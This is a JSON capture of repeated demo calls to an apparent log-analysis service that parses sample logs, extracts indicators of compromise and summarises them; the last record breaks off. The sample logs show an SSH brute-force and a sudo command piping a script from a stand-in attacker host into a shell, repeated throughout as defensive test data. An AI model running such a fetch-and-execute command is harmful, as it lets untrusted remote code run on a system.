[
 {
  "id": "C01",
  "http_status": 200,
  "recorded_at": "2026-11-03T23:37:59+00:00",
  "ms": 0,
  "reply": {
   "slug": "talosguard-logiq",
   "title": "Parse raw logs, then extract IOCs and anomalies",
   "status": "ok",
   "input": null,
   "total_ms": 57,
   "steps": [
    {
     "call": "POST /parse-logs",
     "request": {
      "raw_logs": [
       "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
       "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
       "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
       "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
       "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
       "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
       "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200"
      ]
     },
     "status": 200,
     "ms": 19,
     "reply": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     }
    },
    {
     "call": "POST /extract-iocs",
     "request": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     },
     "status": 200,
     "ms": 12,
     "reply": {
      "ips": [
       {
        "value": "185.220.101.4",
        "count": 5,
        "sources": [
         "unknown"
        ]
       }
      ],
      "domains": [
       {
        "value": "evil-cdn.example",
        "count": 1,
        "sources": [
         "unknown"
        ]
       }
      ],
      "urls": [
       {
        "value": "http://evil-cdn.example/x.sh",
        "count": 1,
        "sources": [
         "unknown"
        ]
       }
      ],
      "commands": [
       "/usr/bin/curl http://evil-cdn.example/x.sh | sh"
      ],
      "usernames": [],
      "suspicious_indicators": [
       {
        "type": "ip",
        "value": "185.220.101.4",
        "reason": "Known TOR exit node prefix"
       }
      ]
     }
    },
    {
     "call": "POST /summarize",
     "request": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     },
     "status": 200,
     "ms": 9,
     "reply": {
      "event_count": 7,
      "time_range": {
       "start": 1792404001.0,
       "end": 1792404060.0,
       "duration_seconds": 59.0
      },
      "top_sources": {
       "unknown": 7
      },
      "severity_distribution": {
       "INFO": 7
      },
      "error_rate": 0.0,
      "most_frequent_patterns": [
       {
        "pattern": "sshd[<NUM>]: Failed password for root from <IP> port <NUM> ssh2",
        "count": 3,
        "percentage": 42.86
       },
       {
        "pattern": "sshd[<NUM>]: Failed password for admin from <IP> port <NUM> ssh2",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "sshd[<NUM>]: Accepted password for admin from <IP> port <NUM> ssh2",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "sudo: admin : COMMAND=<PATH> http:<PATH> | sh",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "nginx: <IP> GET <PATH> <NUM>",
        "count": 1,
        "percentage": 14.29
       }
      ],
      "timeline": [
       {
        "hour": 1792404000,
        "count": 7
       }
      ]
     }
    }
   ],
   "note": "Real calls to the running service with the public demo identity; replies are unedited."
  }
 },
 {
  "id": "C02",
  "http_status": 200,
  "recorded_at": "2026-11-03T23:38:00+00:00",
  "ms": 0,
  "reply": {
   "slug": "talosguard-logiq",
   "title": "Parse raw logs, then extract IOCs and anomalies",
   "status": "ok",
   "input": null,
   "total_ms": 57,
   "steps": [
    {
     "call": "POST /parse-logs",
     "request": {
      "raw_logs": [
       "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
       "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
       "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
       "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
       "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
       "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
       "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200"
      ]
     },
     "status": 200,
     "ms": 19,
     "reply": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     }
    },
    {
     "call": "POST /extract-iocs",
     "request": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     },
     "status": 200,
     "ms": 12,
     "reply": {
      "ips": [
       {
        "value": "185.220.101.4",
        "count": 5,
        "sources": [
         "unknown"
        ]
       }
      ],
      "domains": [
       {
        "value": "evil-cdn.example",
        "count": 1,
        "sources": [
         "unknown"
        ]
       }
      ],
      "urls": [
       {
        "value": "http://evil-cdn.example/x.sh",
        "count": 1,
        "sources": [
         "unknown"
        ]
       }
      ],
      "commands": [
       "/usr/bin/curl http://evil-cdn.example/x.sh | sh"
      ],
      "usernames": [],
      "suspicious_indicators": [
       {
        "type": "ip",
        "value": "185.220.101.4",
        "reason": "Known TOR exit node prefix"
       }
      ]
     }
    },
    {
     "call": "POST /summarize",
     "request": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     },
     "status": 200,
     "ms": 9,
     "reply": {
      "event_count": 7,
      "time_range": {
       "start": 1792404001.0,
       "end": 1792404060.0,
       "duration_seconds": 59.0
      },
      "top_sources": {
       "unknown": 7
      },
      "severity_distribution": {
       "INFO": 7
      },
      "error_rate": 0.0,
      "most_frequent_patterns": [
       {
        "pattern": "sshd[<NUM>]: Failed password for root from <IP> port <NUM> ssh2",
        "count": 3,
        "percentage": 42.86
       },
       {
        "pattern": "sshd[<NUM>]: Failed password for admin from <IP> port <NUM> ssh2",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "sshd[<NUM>]: Accepted password for admin from <IP> port <NUM> ssh2",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "sudo: admin : COMMAND=<PATH> http:<PATH> | sh",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "nginx: <IP> GET <PATH> <NUM>",
        "count": 1,
        "percentage": 14.29
       }
      ],
      "timeline": [
       {
        "hour": 1792404000,
        "count": 7
       }
      ]
     }
    }
   ],
   "note": "Real calls to the running service with the public demo identity; replies are unedited."
  }
 },
 {
  "id": "C03",
  "http_status": 200,
  "recorded_at": "2026-11-03T23:38:00+00:00",
  "ms": 0,
  "reply": {
   "slug": "talosguard-logiq",
   "title": "Parse raw logs, then extract IOCs and anomalies",
   "status": "ok",
   "input": null,
   "total_ms": 57,
   "steps": [
    {
     "call": "POST /parse-logs",
     "request": {
      "raw_logs": [
       "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
       "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
       "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
       "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
       "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
       "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
       "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200"
      ]
     },
     "status": 200,
     "ms": 19,
     "reply": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     }
    },
    {
     "call": "POST /extract-iocs",
     "request": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     },
     "status": 200,
     "ms": 12,
     "reply": {
      "ips": [
       {
        "value": "185.220.101.4",
        "count": 5,
        "sources": [
         "unknown"
        ]
       }
      ],
      "domains": [
       {
        "value": "evil-cdn.example",
        "count": 1,
        "sources": [
         "unknown"
        ]
       }
      ],
      "urls": [
       {
        "value": "http://evil-cdn.example/x.sh",
        "count": 1,
        "sources": [
         "unknown"
        ]
       }
      ],
      "commands": [
       "/usr/bin/curl http://evil-cdn.example/x.sh | sh"
      ],
      "usernames": [],
      "suspicious_indicators": [
       {
        "type": "ip",
        "value": "185.220.101.4",
        "reason": "Known TOR exit node prefix"
       }
      ]
     }
    },
    {
     "call": "POST /summarize",
     "request": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     },
     "status": 200,
     "ms": 9,
     "reply": {
      "event_count": 7,
      "time_range": {
       "start": 1792404001.0,
       "end": 1792404060.0,
       "duration_seconds": 59.0
      },
      "top_sources": {
       "unknown": 7
      },
      "severity_distribution": {
       "INFO": 7
      },
      "error_rate": 0.0,
      "most_frequent_patterns": [
       {
        "pattern": "sshd[<NUM>]: Failed password for root from <IP> port <NUM> ssh2",
        "count": 3,
        "percentage": 42.86
       },
       {
        "pattern": "sshd[<NUM>]: Failed password for admin from <IP> port <NUM> ssh2",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "sshd[<NUM>]: Accepted password for admin from <IP> port <NUM> ssh2",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "sudo: admin : COMMAND=<PATH> http:<PATH> | sh",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "nginx: <IP> GET <PATH> <NUM>",
        "count": 1,
        "percentage": 14.29
       }
      ],
      "timeline": [
       {
        "hour": 1792404000,
        "count": 7
       }
      ]
     }
    }
   ],
   "note": "Real calls to the running service with the public demo identity; replies are unedited."
  }
 },
 {
  "id": "C04",
  "http_status": 200,
  "recorded_at": "2026-11-03T23:38:01+00:00",
  "ms": 0,
  "reply": {
   "slug": "talosguard-logiq",
   "title": "Parse raw logs, then extract IOCs and anomalies",
   "status": "ok",
   "input": null,
   "total_ms": 57,
   "steps": [
    {
     "call": "POST /parse-logs",
     "request": {
      "raw_logs": [
       "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
       "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
       "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
       "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
       "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
       "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
       "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200"
      ]
     },
     "status": 200,
     "ms": 19,
     "reply": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
